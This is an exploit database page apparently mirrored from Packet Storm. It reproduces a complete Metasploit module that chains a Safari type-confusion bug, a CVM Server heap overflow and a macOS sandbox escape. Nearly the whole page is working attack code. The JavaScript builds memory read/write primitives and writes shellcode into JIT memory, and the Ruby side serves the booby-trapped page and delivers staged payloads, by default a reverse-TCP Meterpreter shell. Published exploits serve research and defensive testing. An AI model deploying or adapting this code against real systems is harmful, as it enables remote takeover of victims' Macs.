Lucene search
K

Safari Type Confusion / Sandbox Escape

🗓️ 01 Oct 2020 00:00:00Reported by timwrType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 382 Views

This module exploits an incorrect side-effect modeling of the 'in' operator in Safari leading to type confusion, arbitrary read/write of memory, heap overflow in CVM Server, and sandbox escape on macOS

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Post::File  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Safari in Operator Side Effect Exploit',  
'Description' => %q{  
This module exploits an incorrect side-effect modeling of the 'in' operator.  
The DFG compiler assumes that the 'in' operator is side-effect free, however  
the <embed> element with the PDF plugin provides a callback that can trigger  
side-effects leading to type confusion (CVE-2020-9850).  
The type confusion can be used as addrof and fakeobj primitives that then  
lead to arbitrary read/write of memory. These primitives allow us to write  
shellcode into a JIT region (RWX memory) containing the next stage of the  
exploit.  
The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,  
and extracts a macOS application containing our payload into /var/db/CVMS.  
The payload can then be opened with CVE-2020-9801, executing the payload  
as a user but without sandbox restrictions.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020  
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020  
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020  
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020  
'timwr' # metasploit integration  
],  
'References' => [  
['CVE', '2020-9801'],  
['CVE', '2020-9850'],  
['CVE', '2020-9856'],  
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },  
'Targets' => [  
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],  
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],  
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],  
],  
'DisclosureDate' => 'Mar 18 2020'  
)  
)  
register_advanced_options([  
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),  
])  
end  
  
def exploit_js  
<<~JS  
const DUMMY_MODE = 0;  
const ADDRESSOF_MODE = 1;  
const FAKEOBJ_MODE = 2;  
  
function pwn() {  
let otherWindow = document.getElementById('frame').contentWindow;  
let innerDiv = otherWindow.document.querySelector('div');  
  
if (!innerDiv) {  
print("Failed to get innerDiv");  
return;  
}  
  
let embed = otherWindow.document.querySelector('embed');  
  
otherWindow.document.body.removeChild(embed);  
otherWindow.document.body.removeChild(otherWindow.annotationContainer);  
  
const origFakeObjArr = [1.1, 1.1];  
const origAddrOfArr = [2.2, 2.2];  
let fakeObjArr = Array.from(origFakeObjArr);  
let addressOfArr = Array.from(origAddrOfArr);  
let addressOfTarget = {};  
  
let sideEffectMode = DUMMY_MODE;  
otherWindow.document.body.addEventListener('DOMSubtreeModified', () => {  
if (sideEffectMode == DUMMY_MODE)  
return;  
else if (sideEffectMode == FAKEOBJ_MODE)  
fakeObjArr[0] = {};  
else if (sideEffectMode == ADDRESSOF_MODE)  
addressOfArr[0] = addressOfTarget;  
});  
  
print('Callback is registered');  
  
otherWindow.document.body.appendChild(embed);  
let triggerArr;  
  
function optFakeObj(triggerArr, arr, addr) {  
arr[1] = 5.5;  
let tmp = 0 in triggerArr;  
arr[0] = addr;  
return tmp;  
}  
  
function optAddrOf(triggerArr, arr) {  
arr[1] = 6.6;  
let tmp = 0 in triggerArr;  
return [arr[0], tmp];  
}  
  
function prepare() {  
triggerArr = [7.7, 8.8];  
triggerArr.__proto__ = embed;  
sideEffectMode = DUMMY_MODE;  
for (var i = 0; i < 1e5; i++) {  
optFakeObj(triggerArr, fakeObjArr, 9.9);  
optAddrOf(triggerArr, addressOfArr);  
}  
delete triggerArr[0];  
}  
  
function cleanup() {  
otherWindow.document.body.removeChild(embed);  
otherWindow.document.body.appendChild(embed);  
  
if (sideEffectMode == FAKEOBJ_MODE)  
fakeObjArr = Array.from(origFakeObjArr);  
else if (sideEffectMode == ADDRESSOF_MODE)  
addressOfArr = Array.from(origAddrOfArr);  
  
sideEffectMode = DUMMY_MODE;  
}  
  
function addressOf(obj) {  
addressOfTarget = obj;  
sideEffectMode = ADDRESSOF_MODE;  
let ret = optAddrOf(triggerArr, addressOfArr)[0];  
cleanup();  
return Int64.fromDouble(ret);  
}  
  
function fakeObj(addr) {  
sideEffectMode = FAKEOBJ_MODE;  
optFakeObj(triggerArr, fakeObjArr, addr.asDouble());  
let ret = fakeObjArr[0];  
cleanup();  
return ret;  
}  
  
prepare();  
print("Prepare is done");  
  
let hostObj = {  
_: 1.1,  
length: (new Int64('0x4141414141414141')).asDouble(),  
id: new Int64([  
0, 0, 0, 0, // m_structureID  
0x17, // m_indexingType  
0x19, // m_type  
0x08, // m_flags  
0x1 // m_cellState  
]).asJSValue(),  
butterfly: 0,  
o:1,  
executable:{  
a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)  
unlinkedExecutable:{  
isBuiltinFunction: 1 << 31,  
b:0, c:0, d:0, e:0, f:0, g:0, // Padding (offset: 0x48)  
identifier: null  
}  
},  
strlen_or_id: (new Int64('0x10')).asDouble(),  
target: null  
}  
  
// Structure ID leak of hostObj.target  
hostObj.target=hostObj  
  
var hostObjRawAddr = addressOf(hostObj);  
var hostObjBufferAddr = Add(hostObjRawAddr, 0x20)  
var fakeHostObj = fakeObj(hostObjBufferAddr);  
var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40));  
  
hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier  
let rawStructureId=Function.prototype.toString.apply(fakeHostObj)  
  
let leakStructureId=Add(new Int64(  
rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000  
), new Int64([  
0, 0, 0, 0, // m_structureID  
0x07, // m_indexingType  
0x22, // m_type  
0x06, // m_flags  
0x1 // m_cellState  
]))  
print('Leaked structure ID: ' + leakStructureId);  
  
hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble();  
hostObj.butterfly = fakeHostObj;  
  
addressOf = function(obj) {  
hostObj.o = obj;  
return Int64.fromDouble(fakeHostObj[2]);  
}  
  
fakeObj = function(addr) {  
fakeHostObj[2] = addr.asDouble();  
return hostObj.o;  
}  
  
print('Got reliable addressOf/fakeObj');  
  
let rwObj = {  
_: 1.1,  
length: (new Int64('0x4141414141414141')).asDouble(),  
id: leakStructureId.asDouble(),  
butterfly: 1.1,  
  
__: 1.1,  
innerLength: (new Int64('0x4141414141414141')).asDouble(),  
innerId: leakStructureId.asDouble(),  
innerButterfly: 1.1,  
}  
  
var rwObjBufferAddr = Add(addressOf(rwObj), 0x20);  
var fakeRwObj = fakeObj(rwObjBufferAddr);  
rwObj.butterfly = fakeRwObj;  
  
var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20));  
rwObj.innerButterfly = fakeInnerObj;  
  
  
function read64(addr) {  
// We use butterfly and it depends on its size in -1 index  
// Thus, we keep searching non-zero value to read value  
for (var i = 0; i < 0x1000; i++) {  
fakeRwObj[5] = Sub(addr, -8 * i).asDouble();  
let value = fakeInnerObj[i];  
if (value) {  
return Int64.fromDouble(value);  
}  
}  
throw 'Failed to read: ' + addr;  
}  
  
function write64(addr, value) {  
fakeRwObj[5] = addr.asDouble();  
fakeInnerObj[0] = value.asDouble();  
}  
  
function makeJITCompiledFunction() {  
var obj = {};  
// Some code to avoid inlining...  
function target(num) {  
num ^= Math.random() * 10000;  
num ^= 0x70000001;  
num ^= Math.random() * 10000;  
num ^= 0x70000002;  
num ^= Math.random() * 10000;  
num ^= 0x70000003;  
num ^= Math.random() * 10000;  
num ^= 0x70000004;  
num ^= Math.random() * 10000;  
num ^= 0x70000005;  
num ^= Math.random() * 10000;  
num ^= 0x70000006;  
num ^= Math.random() * 10000;  
num ^= 0x70000007;  
num ^= Math.random() * 10000;  
num ^= 0x70000008;  
num ^= Math.random() * 10000;  
num ^= 0x70000009;  
num ^= Math.random() * 10000;  
num ^= 0x7000000a;  
num ^= Math.random() * 10000;  
num ^= 0x7000000b;  
num ^= Math.random() * 10000;  
num ^= 0x7000000c;  
num ^= Math.random() * 10000;  
num ^= 0x7000000d;  
num ^= Math.random() * 10000;  
num ^= 0x7000000e;  
num ^= Math.random() * 10000;  
num ^= 0x7000000f;  
num ^= Math.random() * 10000;  
num ^= 0x70000010;  
num ^= Math.random() * 10000;  
num ^= 0x70000011;  
num ^= Math.random() * 10000;  
num ^= 0x70000012;  
num ^= Math.random() * 10000;  
num ^= 0x70000013;  
num ^= Math.random() * 10000;  
num ^= 0x70000014;  
num ^= Math.random() * 10000;  
num ^= 0x70000015;  
num ^= Math.random() * 10000;  
num ^= 0x70000016;  
num ^= Math.random() * 10000;  
num ^= 0x70000017;  
num ^= Math.random() * 10000;  
num ^= 0x70000018;  
num ^= Math.random() * 10000;  
num ^= 0x70000019;  
num ^= Math.random() * 10000;  
num ^= 0x7000001a;  
num ^= Math.random() * 10000;  
num ^= 0x7000001b;  
num ^= Math.random() * 10000;  
num ^= 0x7000001c;  
num ^= Math.random() * 10000;  
num ^= 0x7000001d;  
num ^= Math.random() * 10000;  
num ^= 0x7000001e;  
num ^= Math.random() * 10000;  
num ^= 0x7000001f;  
num ^= Math.random() * 10000;  
num ^= 0x70000020;  
num ^= Math.random() * 10000;  
num &= 0xffff;  
return num;  
}  
  
// Force JIT compilation.  
for (var i = 0; i < 1000; i++) {  
target(i);  
}  
for (var i = 0; i < 1000; i++) {  
target(i);  
}  
for (var i = 0; i < 1000; i++) {  
target(i);  
}  
return target;  
}  
  
function getJITCodeAddr(func) {  
var funcAddr = addressOf(func);  
print("Target function @ " + funcAddr.toString());  
var executableAddr = read64(Add(funcAddr, 3 * 8));  
print("Executable instance @ " + executableAddr.toString());  
  
var jitCodeAddr = read64(Add(executableAddr, 3 * 8));  
print("JITCode instance @ " + jitCodeAddr.toString());  
  
if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' ||  
And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') {  
jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100);  
print("approx. JITCode instance @ " + jitCodeAddr.toString());  
}  
  
return jitCodeAddr;  
}  
  
function setJITCodeAddr(func, addr) {  
var funcAddr = addressOf(func);  
print("Target function @ " + funcAddr.toString());  
var executableAddr = read64(Add(funcAddr, 3 * 8));  
print("Executable instance @ " + executableAddr.toString());  
write64(Add(executableAddr, 3 * 8), addr);  
}  
  
function getJITFunction() {  
var shellcodeFunc = makeJITCompiledFunction();  
shellcodeFunc();  
var jitCodeAddr = getJITCodeAddr(shellcodeFunc);  
return [shellcodeFunc, jitCodeAddr];  
}  
  
var [_JITFunc, rwxMemAddr] = getJITFunction();  
  
for (var i = 0; i < stage0.length; i++)  
write64(Add(rwxMemAddr, i), new Int64(stage0[i]));  
  
setJITCodeAddr(alert, rwxMemAddr);  
var argv = {  
a0: stage1Arr,  
a1: stage2Arr,  
doc: document,  
a2: 0x41414141,  
a3: 0x42424242,  
a4: 0x43434343,  
};  
alert(argv);  
}  
  
var ready = new Promise(function(resolve) {  
if (typeof(window) === 'undefined')  
resolve();  
else  
window.onload = function() {  
resolve();  
}  
});  
  
ready.then(function() {  
try {  
pwn()  
} catch (e) {  
print("Exception caught: " + e);  
location.reload();  
}  
}).catch(function(err) {  
print("Initializatin failed");  
});  
JS  
end  
  
def offset_table  
{  
'placeholder' => {  
jsc_confstr_stub: 0x0FF5370041414141,  
jsc_llint_entry_call: 0x0FF5370041414142,  
libsystem_c_confstr: 0x0FF5370041414143,  
libsystem_c_dlopen: 0x0FF5370041414144,  
libsystem_c_dlsym: 0x0FF5370041414145  
},  
'10.15.3' => {  
jsc_confstr_stub: 0xE7D8B4,  
jsc_llint_entry_call: 0x361f13,  
libsystem_c_confstr: 0x2644,  
libsystem_c_dlopen: 0x80430,  
libsystem_c_dlsym: 0x80436  
},  
'10.15.4' => {  
jsc_confstr_stub: 0xF96446,  
jsc_llint_entry_call: 0x380a1d,  
libsystem_c_confstr: 0x2be4,  
libsystem_c_dlopen: 0x8021e,  
libsystem_c_dlsym: 0x80224  
}  
}  
end  
  
def get_offsets(user_agent)  
if user_agent =~ /Intel Mac OS X (.*?)\)/  
osx_version = Regexp.last_match(1).gsub('_', '.')  
if user_agent =~ %r{Version/(.*?) }  
if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1')  
print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"  
return false  
else  
print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"  
end  
end  
mac_osx_version = Gem::Version.new(osx_version)  
if mac_osx_version >= Gem::Version.new('10.15.5')  
print_warning "macOS version #{mac_osx_version} is not vulnerable"  
elsif mac_osx_version < Gem::Version.new('10.14')  
print_warning "macOS version #{mac_osx_version} is not supported"  
elsif offset_table.key?(osx_version)  
return offset_table[osx_version]  
else  
print_warning "No offsets for version #{mac_osx_version}"  
end  
else  
print_warning 'Unexpected User-Agent'  
end  
return false  
end  
  
def on_request_uri(cli, request)  
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}  
print_status("[*] #{request.body}")  
send_response(cli, '')  
return  
end  
  
user_agent = request['User-Agent']  
print_status("Request #{request.uri} from #{user_agent}")  
if request.uri.ends_with? '.pdf'  
send_response(cli, '', { 'Content-Type' => 'application/pdf' })  
return  
end  
  
offsets = get_offsets(user_agent)  
unless offsets  
send_not_found(cli)  
return  
end  
  
utils = exploit_data 'javascript_utils', 'utils.js'  
int64 = exploit_data 'javascript_utils', 'int64.js'  
stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin'  
stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'  
stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'  
  
offset_table['placeholder'].each do |k, v|  
placeholder_index = stage1.index([v].pack('Q'))  
stage1[placeholder_index, 8] = [offsets[k]].pack('Q')  
end  
  
case target['Arch']  
when ARCH_X64  
root_payload = payload.encoded  
when ARCH_PYTHON  
root_payload = "CMD:echo \"#{payload.encoded}\" | python"  
when ARCH_CMD  
root_payload = "CMD:#{payload.encoded}"  
end  
if root_payload.length > 1024  
fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"  
end  
placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')  
stage2[placeholder_index, root_payload.length] = root_payload  
payload_js = <<~JS  
const stage0 = [  
#{Rex::Text.to_num(stage0)}  
];  
var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]);  
var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]);  
JS  
  
jscript = <<~JS  
#{utils}  
#{int64}  
#{payload_js}  
#{exploit_js}  
JS  
  
if datastore['DEBUG_EXPLOIT']  
debugjs = %^  
print = function(arg) {  
var request = new XMLHttpRequest();  
request.open("POST", "/print", false);  
request.send("" + arg);  
};  
^  
jscript = "#{debugjs}#{jscript}"  
else  
jscript.gsub!(%r{//.*$}, '') # strip comments  
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);  
end  
  
pdfpath = datastore['URIPATH'] || get_resource  
pdfpath += '/' unless pdfpath.end_with? '/'  
pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'  
  
html = <<~HTML  
<html>  
<head>  
<style>  
body {  
margin: 0;  
}  
iframe {  
display: none;  
}  
</style>  
</head>  
<body>  
<iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe>  
<script>  
#{jscript}  
</script>  
</body>  
</html>  
HTML  
  
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2020 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.82826
382